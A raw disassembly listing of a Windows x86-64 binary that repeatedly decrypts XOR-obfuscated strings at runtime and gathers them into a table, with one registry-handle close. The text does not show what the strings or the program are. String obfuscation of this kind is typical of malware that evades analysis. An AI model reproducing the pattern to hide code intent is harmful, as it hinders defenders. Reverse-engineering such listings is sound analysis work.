lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x59df54f80357c29e
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006c00
movabs rcx, 0xff02198afa2f6b6b
xor rcx, qword [rax]
movabs rdx, 0xd95b47253a53f5f3
xor rdx, qword [rax + 8]
movabs r8, 0x45b7b535864840ba
xor r8, qword [rax + 0x10]
movabs r9, 0x8138d830d138db1d
xor r9, qword [rax + 0x18]
movzx eax, byte [rax + 0x20]
xor al, 0xcf
mov qword [rsp + 0x148], rcx
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0x158], r8
mov qword [rsp + 0x160], r9
mov byte [rsp + 0x168], al
mov qword [rsp + 0x128], r15
mov qword [rsp + 0x130], 0x21
mov qword [rsp + 0x178], r14
lea rax, [0x1400040e0]
mov qword [rsp + 0x180], rax
lea rax, [0x1400586d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x178]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rcx, [rsp + 0x50]
call fcn.140031190
lea rax, [0x141ceea9d]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x4672765dd57dc657
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006b70
mov ecx, 0xb02a7ff2
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0x18
mov dword [rsp + 0x50], ecx
mov byte [rsp + 0x54], al
lea r9, [0x1400586c0]
lea rdx, [rsp + 0x50]
mov r8d, 5
mov rcx, rdi
call fcn.1400077f0
test rax, rax
jne 0x14000eb9a
movabs rax, 0xffffffff7fffffff
cmp rdi, rax
ja 0x14000cd69
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [0x141cef928]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x11258b45848eec19
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.1400066c0
mov rdi, qword [rax]
movzx esi, word [rax + 8]
movzx eax, byte [0x141d0ba30]
mov edx, 0xa
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov ecx, esi
shr ecx, 8
xor cl, 0x6c
xor sil, 0x13
movabs rdx, 0xda5b5af111ea6ec8
xor rdi, rdx
mov qword [rax], rdi
mov byte [rax + 8], sil
mov byte [rax + 9], cl
mov qword [rsp + 0x50], 0xa
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 0xa
mov byte [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 8
mov qword [rsp + 0x80], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe8], 0
mov word [rsp + 0xf0], 0
movabs rax, 0x8000000000000000
mov qword [rsp + 0x88], rax
mov word [rsp + 0x110], 0
mov word [rsp + 0x118], 0
mov dword [rsp + 0xa8], 6
mov dword [rsp + 0xb8], 6
mov dword [rsp + 0xc8], 6
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x108], 0
mov dword [rsp + 0x114], 0x8000000
lea rax, [0x141cf3055]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x148]
mov rcx, qword [rsp + 0x148]
movabs rax, 0x9a6bac43929657d9
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x148]
mov rdx, qword [rsp + 0x148]
call fcn.140006f80
mov r15, qword [rax]
mov r14, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov edi, dword [rax + 0x18]
movzx eax, byte [0x141d0ba30]
mov edx, 0x1c
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov rsi, rax
lea rcx, [rsp + 0x70]
xor edi, 0xdcf6d8d1
movabs rax, 0xfb4b0beacf90f602
xor rbx, rax
movabs rax, 0xeca86ef963668ca0
xor r14, rax
movabs rax, 0xc75cf44abc6e4fc1
xor r15, rax
mov qword [rsi], r15
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rbx
mov dword [rsi + 0x18], edi
call fcn.14003b530
mov rax, qword [rsp + 0x78]
mov qword [rax], 0
mov qword [rax + 8], 0x1c
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0x1c
mov byte [rax + 0x20], 0
mov qword [rsp + 0x80], 1
lea rcx, [rsp + 0x50]
call fcn.1400042a0
mov ecx, 5
call fcn.14002c710
lea rax, [0x141cf48e3]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x8796d2c67c06969f
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.1400065f0
mov rdi, qword [rax]
movzx esi, word [rax + 8]
movzx eax, byte [0x141d0ba30]
mov edx, 0xa
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov ecx, esi
shr ecx, 8
add cl, 0x80
xor sil, 0x17
movabs rdx, 0x6ba26df95b3cb043
xor rdi, rdx
mov qword [rax], rdi
mov byte [rax + 8], sil
mov byte [rax + 9], cl
mov qword [rsp + 0x50], 0xa
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 0xa
mov byte [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 8
mov qword [rsp + 0x80], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe8], 0
mov word [rsp + 0xf0], 0
movabs rax, 0x8000000000000000
mov qword [rsp + 0x88], rax
mov word [rsp + 0x110], 0
mov word [rsp + 0x118], 0
mov dword [rsp + 0xa8], 6
mov dword [rsp + 0xb8], 6
mov dword [rsp + 0xc8], 6
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x108], 0
mov dword [rsp + 0x114], 0x8000000
lea rax, [0x141cee027]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x148]
mov rcx, qword [rsp + 0x148]
movabs rax, 0x34af40f5051cf519
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x148]
mov rdx, qword [rsp + 0x148]
call fcn.140007440
mov r15, qword [rax]
mov r14, qword [rax + 8]
mov edi, dword [rax + 0x10]
movzx ebx, byte [rax + 0x14]
movzx eax, byte [0x141d0ba30]
mov edx, 0x15
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov rsi, rax
lea rcx, [rsp + 0x70]
xor bl, 0x6a
xor edi, 0x2ced58d1
mov eax, edi
shr eax, 8
movabs rdx, 0x7f6055f86ac7681
xor r14, rdx
movabs rdx, 0x2cc6fb7573d5e65a
xor r15, rdx
mov qword [rsi], r15
mov qword [rsi + 8], r14
mov byte [rsi + 0x10], dil
shr edi, 0x18
mov byte [rsi + 0x13], dil
mov word [rsi + 0x11], ax
mov byte [rsi + 0x14], bl
call fcn.14003b530
mov rax, qword [rsp + 0x78]
mov qword [rax], 0
mov qword [rax + 8], 0x15
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0x15
mov byte [rax + 0x20], 0
mov qword [rsp + 0x80], 1
lea rcx, [rsp + 0x50]
call fcn.1400042a0
mov ecx, 5
call fcn.14002c710
lea rax, [0x141cf7470]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x88032ad76312d8be
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006d70
mov rdi, qword [rax]
movzx esi, word [rax + 8]
movzx ebx, byte [rax + 0xa]
movzx eax, byte [0x141d0ba30]
mov edx, 0xb
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov r15, rax
shl ebx, 0x10
or esi, ebx
mov eax, esi
shr eax, 0x10
xor al, 3
mov ecx, esi
shr ecx, 8
xor cl, 0x58
xor sil, 0xb0
movabs rdx, 0xc9b1d719d7c0385c
xor rdi, rdx
mov qword [r15], rdi
mov byte [r15 + 8], sil
mov byte [r15 + 9], cl
mov byte [r15 + 0xa], al
lea rax, [0x141cf678c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x730187e9c446c938
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006cb0
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebx, byte [rax + 0xc]
movzx eax, byte [0x141d0ba30]
mov edx, 0xd
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov r12, rax
xor esi, 0x989aab3b
movabs rax, 0x9e5178fc116e5a6d
xor rdi, rax
xor bl, 0x65
mov qword [r12], rdi
mov dword [r12 + 8], esi
mov byte [r12 + 0xc], bl
lea rax, [0x141cf8075]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xf7f76a13df871f79
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140007660
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx eax, byte [0x141d0ba30]
mov edx, 0xc
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov r13, rax
xor esi, 0x72b8f167
movabs rax, 0xe8fa72d7e8a46605
xor rdi, rax
mov qword [r13], rdi
mov dword [r13 + 8], esi
lea rax, [0x141cec09a]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xcd4bbc46e300076e
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.1400077d0
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebx, byte [rax + 0xc]
movzx eax, byte [0x141d0ba30]
mov edx, 0xd
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
xor esi, 0x4dda60fb
movabs rcx, 0x41c6b8f70454d56b
xor rdi, rcx
xor bl, 0x39
mov qword [rax], rdi
mov dword [rax + 8], esi
mov qword [rsp + 0x1a0], rax
mov byte [rax + 0xc], bl
lea rax, [0x141cef098]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x37225754b661b267
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.1400075c0
mov rdi, qword [rax]
movzx esi, word [rax + 8]
movzx eax, byte [0x141d0ba30]
mov edx, 0xa
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov edx, esi
shr edx, 8
xor dl, 0x8b
xor sil, 4
movabs rcx, 0xcba0d362a7f40491
xor rdi, rcx
mov qword [rax], rdi
mov byte [rax + 8], sil
mov qword [rsp + 0x198], rax
mov byte [rax + 9], dl
lea rax, [0x141cece46]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xf27f9199be3f9248
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140007000
mov rdi, qword [rax]
movzx esi, word [rax + 8]
movzx eax, byte [0x141d0ba30]
mov edx, 0xa
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov edx, esi
shr edx, 8
xor dl, 0xea
xor sil, 0x8c
movabs rcx, 0x14c4abd3729315a0
xor rdi, rcx
mov qword [rax], rdi
mov byte [rax + 8], sil
mov qword [rsp + 0x1c0], rax
mov byte [rax + 9], dl
lea rax, [0x141cefafb]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xc14e47bf3bc06c17
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.1400072f0
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebx, byte [rax + 0xc]
movzx eax, byte [0x141d0ba30]
mov edx, 0xd
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
xor esi, 0x92b05382
movabs rcx, 0x1c6c63c8e582c44d
xor rdi, rcx
xor bl, 0xa2
mov qword [rax], rdi
mov dword [rax + 8], esi
mov qword [rsp + 0x268], rax
mov byte [rax + 0xc], bl
lea rax, [0x141cf7945]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xf708bec68b990e49
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006840
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebx, byte [rax + 0xc]
movzx eax, byte [0x141d0ba30]
mov edx, 0xd
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
xor esi, 0x6103f3fd
movabs rcx, 0xe2be8113f2b0531a
xor rdi, rcx
xor bl, 0x23
mov qword [rax], rdi
mov dword [rax + 8], esi
mov qword [rsp + 0x260], rax
mov byte [rax + 0xc], bl
lea rax, [0x141cf8f3c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xa7cc3120061aa6bc
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006980
mov rbx, qword [rax]
mov edi, dword [rax + 8]
movzx esi, word [rax + 0xc]
movzx ebp, byte [rax + 0xe]
movzx eax, byte [0x141d0ba30]
mov edx, 0xf
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
shl ebp, 0x10
or esi, ebp
mov r8d, esi
shr r8d, 0x10
xor r8b, 0x90
mov ecx, esi
shr ecx, 8
xor cl, 0x2a
xor sil, 0x4a
xor edi, 0xd713dd56
movabs rdx, 0x5af9b97d533a0bff
xor rbx, rdx
mov qword [rax], rbx
mov dword [rax + 8], edi
mov byte [rax + 0xc], sil
mov byte [rax + 0xd], cl
mov qword [rsp + 0x258], rax
mov byte [rax + 0xe], r8b
lea rax, [0x141cf60f8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x489ef6701ce4b247
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.1400069b0
mov r14, qword [rax]
mov rbx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov esi, dword [rax + 0x18]
movzx eax, byte [0x141d0ba30]
mov edx, 0x1c
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
xor esi, 0x111a95b
movabs rcx, 0xe72e77560b62f79
xor rdi, rcx
movabs rcx, 0x7a7da28937f06f8
xor rbx, rcx
movabs rcx, 0xa80b7c4577d04b1
xor r14, rcx
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rsp + 0x250], rax
mov dword [rax + 0x18], esi
lea rax, [0x141cf592b]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x63b91ac2bbaa2ee6
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006a40
mov rbx, qword [rax]
mov rdi, qword [rax + 8]
mov rsi, qword [rax + 0x10]
movzx ebp, byte [rax + 0x18]
movzx eax, byte [0x141d0ba30]
mov edx, 0x19
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov r14, rax
movabs rax, 0x71dec9e7ecd94bd6
xor rsi, rax
movabs rax, 0x5913fa3c1ec86491
xor rdi, rax
movabs rax, 0xeea88d36040f23cd
xor rbx, rax
xor bpl, 0x56
mov qword [r14], rbx
mov qword [r14 + 8], rdi
mov qword [r14 + 0x10], rsi
mov byte [r14 + 0x18], bpl
lea rax, [0x141cf2cbf]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x9ffb68df378f639a
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006d20
mov rdi, qword [rax]
movzx esi, word [rax + 8]
movzx eax, byte [0x141d0ba30]
mov edx, 0xa
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov rbx, rax
mov eax, esi
shr eax, 8
xor al, 0x50
xor sil, 0x57
movabs rcx, 0x8c2955fccc336ac9
xor rdi, rcx
mov qword [rbx], rdi
mov byte [rbx + 8], sil
mov byte [rbx + 9], al
lea rax, [0x141ceb3fe]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x9c07a1f9227ec0a9
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140007380
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx eax, byte [0x141d0ba30]
mov edx, 0xc
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov qword [rsp + 0x248], rbx
xor esi, 0x2cb9bb11
movabs rcx, 0x2563b4ccfa5f99fc
xor rdi, rcx
mov qword [rax], rdi
mov qword [rsp + 0x240], rax
mov dword [rax + 8], esi
lea rax, [0x141cece05]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xafc535d71a984ce1
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006e70
mov rsi, qword [rax]
movzx eax, byte [0x141d0ba30]
mov edx, 8
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov rdi, rax
movabs rax, 0xd838e067bfb1a92
xor rsi, rax
mov qword [rdi], rsi
lea rax, [0x141ced58a]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xae3ef32128030afc
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140007050
mov rsi, qword [rax]
movzx ebx, byte [rax + 8]
movzx eax, byte [0x141d0ba30]
mov edx, 9
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov qword [rsp + 0x238], rdi
xor bl, 0x5a
movabs rcx, 0x593b819e1f7f50ef
xor rsi, rcx
mov qword [rax], rsi
mov qword [rsp + 0x230], rax
mov byte [rax + 8], bl
lea rax, [0x141ceb6c6]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x7b8b16d77403bb53
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006790
mov rsi, qword [rax]
movzx ebx, byte [rax + 8]
movzx eax, byte [0x141d0ba30]
mov edx, 9
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
xor bl, 0x13
movabs rcx, 0xca847defc52586f2
xor rsi, rcx
mov qword [rax], rsi
mov qword [rsp + 0x228], rax
mov byte [rax + 8], bl
lea rax, [0x141cf4e29]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xfb5159874fcbdaf2
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140007680
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx eax, byte [0x141d0ba30]
mov edx, 0xc
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
xor esi, 0xf1f42fde
movabs rcx, 0x8de08fe548e416f
xor rdi, rcx
mov qword [rax], rdi
mov qword [rsp + 0x220], rax
mov dword [rax + 8], esi
lea rax, [0x141cf96aa]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x8969fc4fe86a6f5d
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140007760
mov rbx, qword [rax]
mov edi, dword [rax + 8]
movzx esi, word [rax + 0xc]
movzx ebp, byte [rax + 0xe]
movzx eax, byte [0x141d0ba30]
mov edx, 0xf
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
shl ebp, 0x10
or esi, ebp
mov r8d, esi
shr r8d, 0x10
xor r8b, 0x57
mov ecx, esi
shr ecx, 8
xor cl, 0x40
xor sil, 0xd7
xor edi, 0xc59b51e4
movabs rdx, 0x64f80fe639d4bc0c
xor rbx, rdx
mov qword [rax], rbx
mov dword [rax + 8], edi
mov byte [rax + 0xc], sil
mov byte [rax + 0xd], cl
mov qword [rsp + 0x218], rax
mov byte [rax + 0xe], r8b
lea rax, [0x141cf7e43]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x91bacf06393ce66a
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006860
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx eax, byte [0x141d0ba30]
mov edx, 0xc
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
xor esi, 0x60d9d582
movabs rcx, 0x54978e8157bf050
xor rdi, rcx
mov qword [rax], rdi
mov qword [rsp + 0x210], rax
mov dword [rax + 8], esi
lea rax, [0x141cf760e]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x61dfe93c8b853a5c
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140007700
mov rdi, qword [rax]
movzx esi, word [rax + 8]
movzx ebx, byte [rax + 0xa]
movzx eax, byte [0x141d0ba30]
mov edx, 0xb
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
shl ebx, 0x10
or esi, ebx
mov r8d, esi
shr r8d, 0x10
xor r8b, 0x8c
mov ecx, esi
shr ecx, 8
xor cl, 0x29
xor sil, 0xd0
movabs rdx, 0x23482073163a6ff1
xor rdi, rdx
mov qword [rax], rdi
mov byte [rax + 8], sil
mov byte [rax + 9], cl
mov qword [rsp + 0x208], rax
mov byte [rax + 0xa], r8b
lea rax, [0x141cf382c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x315e184b02123fcf
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140007230
mov rdi, qword [rax]
mov rsi, qword [rax + 8]
movzx ebx, byte [rax + 0x10]
movzx eax, byte [0x141d0ba30]
mov edx, 0x11
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
movabs rcx, 0xf5b58b63afc27b57
xor rsi, rcx
movabs rcx, 0x6286d1eaf76fe10d
xor rdi, rcx
xor bl, 0xef
mov qword [rax], rdi
mov qword [rax + 8], rsi
mov qword [rsp + 0x200], rax
mov byte [rax + 0x10], bl
lea rax, [0x141cf2a37]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xc9bfbe083d524b1d
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.1400071a0
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebx, byte [rax + 0xc]
movzx eax, byte [0x141d0ba30]
mov edx, 0xd
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
xor esi, 0xb300f11d
movabs rcx, 0xb76ba77f2ab223f9
xor rdi, rcx
xor bl, 0xc
mov qword [rax], rdi
mov dword [rax + 8], esi
mov qword [rsp + 0x1f8], rax
mov byte [rax + 0xc], bl
lea rax, [0x141cf3a70]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x7b5de2cd380169d3
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140007640
mov rdi, qword [rax]
movzx esi, word [rax + 8]
movzx ebx, byte [rax + 0xa]
movzx eax, byte [0x141d0ba30]
mov edx, 0xb
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
shl ebx, 0x10
or esi, ebx
mov r8d, esi
shr r8d, 0x10
xor r8b, 0x19
mov ecx, esi
shr ecx, 8
xor cl, 7
xor sil, 0x7c
movabs rdx, 0x3ff02551f3fab91d
xor rdi, rdx
mov qword [rax], rdi
mov byte [rax + 8], sil
mov byte [rax + 9], cl
mov qword [rsp + 0x1f0], rax
mov byte [rax + 0xa], r8b
lea rax, [0x141ceb873]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xb4e9a6b574fe2e36
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006a70
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebx, byte [rax + 0xc]
movzx eax, byte [0x141d0ba30]
mov edx, 0xd
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
xor esi, 0x6ff4baa4
movabs rcx, 0x38962069d0393272
xor rdi, rcx
xor bl, 0x74
mov qword [rax], rdi
mov dword [rax + 8], esi
mov qword [rsp + 0x1e8], rax
mov byte [rax + 0xc], bl
lea rax, [0x141ceb2bc]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x8a8d5a2664c8d81d
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140007590
mov rdi, qword [rax]
mov rsi, qword [rax + 8]
movzx ebx, word [rax + 0x10]
movzx eax, byte [0x141d0ba30]
mov edx, 0x12
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
movabs rcx, 0xf7bbd7a5f9bc6d0b
xor rsi, rcx
movabs rcx, 0xcf4607b374dcad6b
xor rdi, rcx
mov ecx, ebx
shr ecx, 8
xor cl, 0x11
xor bl, 0x42
mov qword [rax], rdi
mov qword [rax + 8], rsi
mov byte [rax + 0x10], bl
mov qword [rsp + 0x1e0], rax
mov byte [rax + 0x11], cl
lea rax, [0x141ce9a08]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x28a45ece7d57bf1c
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.1400071f0
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebx, byte [rax + 6]
movzx eax, byte [0x141d0ba30]
mov edx, 7
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov r8, rax
shl ebx, 0x10
or edi, ebx
mov eax, edi
shr eax, 0x10
xor al, 0xde
movzx eax, al
mov byte [r8 + 6], al
shl rax, 0x30
mov ecx, edi
shr ecx, 8
xor cl, 0x4b
movzx ecx, cl
shl rcx, 0x28
or rcx, rax
xor dil, 0x30
movzx eax, dil
shl rax, 0x20
or rax, rcx
xor esi, 0x4a8f9161
mov dword [r8], esi
shr rax, 0x20
mov word [r8 + 4], ax
movzx eax, byte [0x141d0ba30]
mov edx, 0x1a0
xor ecx, ecx
mov rsi, r8
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov rdi, rax
mov qword [rsp + 0x1d8], r15
mov qword [rax], r15
mov qword [rax + 8], 0xb
mov qword [rsp + 0x1d0], r12
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xd
mov qword [rsp + 0x298], r13
mov qword [rax + 0x20], r13
mov qword [rax + 0x28], 0xc
mov rax, qword [rsp + 0x1a0]
mov qword [rdi + 0x30], rax
mov qword [rdi + 0x38], 0xd
mov rax, qword [rsp + 0x198]
mov qword [rdi + 0x40], rax
mov qword [rdi + 0x48], 0xa
mov rax, qword [rsp + 0x1c0]
mov qword [rdi + 0x50], rax
mov qword [rdi + 0x58], 0xa
mov rax, qword [rsp + 0x268]
mov qword [rdi + 0x60], rax
mov qword [rdi + 0x68], 0xd
mov rax, qword [rsp + 0x260]
mov qword [rdi + 0x70], rax
mov qword [rdi + 0x78], 0xd
mov rax, qword [rsp + 0x258]
mov qword [rdi + 0x80], rax
mov qword [rdi + 0x88], 0xf
mov rax, qword [rsp + 0x250]
mov qword [rdi + 0x90], rax
mov qword [rdi + 0x98], 0x1c
mov qword [rsp + 0x290], r14
mov qword [rdi + 0xa0], r14
mov qword [rdi + 0xa8], 0x19
mov rax, qword [rsp + 0x248]
mov qword [rdi + 0xb0], rax
mov qword [rdi + 0xb8], 0xa
mov rax, qword [rsp + 0x240]
mov qword [rdi + 0xc0], rax
mov qword [rdi + 0xc8], 0xc
mov rax, qword [rsp + 0x238]
mov qword [rdi + 0xd0], rax
mov qword [rdi + 0xd8], 8
mov rax, qword [rsp + 0x230]
mov qword [rdi + 0xe0], rax
mov qword [rdi + 0xe8], 9
mov rax, qword [rsp + 0x228]
mov qword [rdi + 0xf0], rax
